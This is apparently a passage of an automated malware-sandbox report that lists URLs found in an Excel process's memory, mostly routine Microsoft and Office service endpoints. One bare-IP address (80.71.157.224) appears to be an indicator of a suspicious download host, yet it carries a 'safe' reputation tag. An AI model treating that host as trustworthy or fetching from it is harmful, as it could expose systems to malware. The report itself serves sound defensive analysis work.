                                                                http://weather.service.msn.com/data.aspxEXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                  		high
                                                                  https://substrate.office.comPEXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://outlook.office365.com/oEXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpfalse
                                                                    		high
                                                                    https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosEXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                      		high
                                                                      https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlEXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                        		high
                                                                        https://o365auditrealtimeingestion.manage.office.com/api/userauditrecordIEXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                                                          		high
                                                                          http://80.71.157.224/819077238125=EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://login.windows.net/common/oauth2/authorizeaEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                            		high
                                                                            https://login.windows.net/common/oauth2/authorizebEXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                              		high
                                                                              https://login.windows.net/common/oauth2/authorizecEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                		high
                                                                                https://wus2.contentsync.EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                • URL Reputation: safe
                                                                                		unknown
                                                                                https://clients.config.office.net/user/v1.0/iosAC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                  		high
                                                                                  https://clients.config.office.net/user/v1.0/macaEXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpfalse
                                                                                    		high
                                                                                    https://login.windows.net/common/oauth2/authorizeDLLHl0EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpfalse
                                                                                      		high
                                                                                      https://staging.cortana.ai.cEXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://o365auditrealtimeingestion.manage.office.comEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                        		high
                                                                                        https://outlook.office365.com/api/v1.0/me/ActivitiesEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                          		high
                                                                                          https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonLEXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpfalse
                                                                                            		high
                                                                                            https://augloop.ofEXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://login.windows.net/common/oauth2/authorizeQEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                              		high
                                                                                              https://clients.config.office.net/user/v1.0/android/policiesAC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                		high
                                                                                                https://login.windows.net/common/oauth2/authorizeREXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                  		high
                                                                                                  https://login.windows.net/common/oauth2/authorizeSEXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                                                                                    		high
                                                                                                    https://entitlement.diagnostics.office.comEXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                      		high
                                                                                                      https://login.windows.net/common/oauth2/authorizeWEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                        		high
                                                                                                        https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonEXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                          		high
                                                                                                          https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechbEXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                                                                                            		high
                                                                                                            https://outlook.office.com/EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277937886.0000000013779000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                              		high
                                                                                                              https://login.windows.net/common/oauth2/authorizeMEXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                                		high
                                                                                                                https://storage.live.com/clientlogs/uploadlocationEXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                  		high
                                                                                                                  https://login.windows.net/common/oauth2/authorizeCEXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://substrate.office.com/search/api/v1/SearchHistoryEXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                      		high
                                                                                                                      https://login.windows.net/common/oauth2/authorizeFEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                                        		high
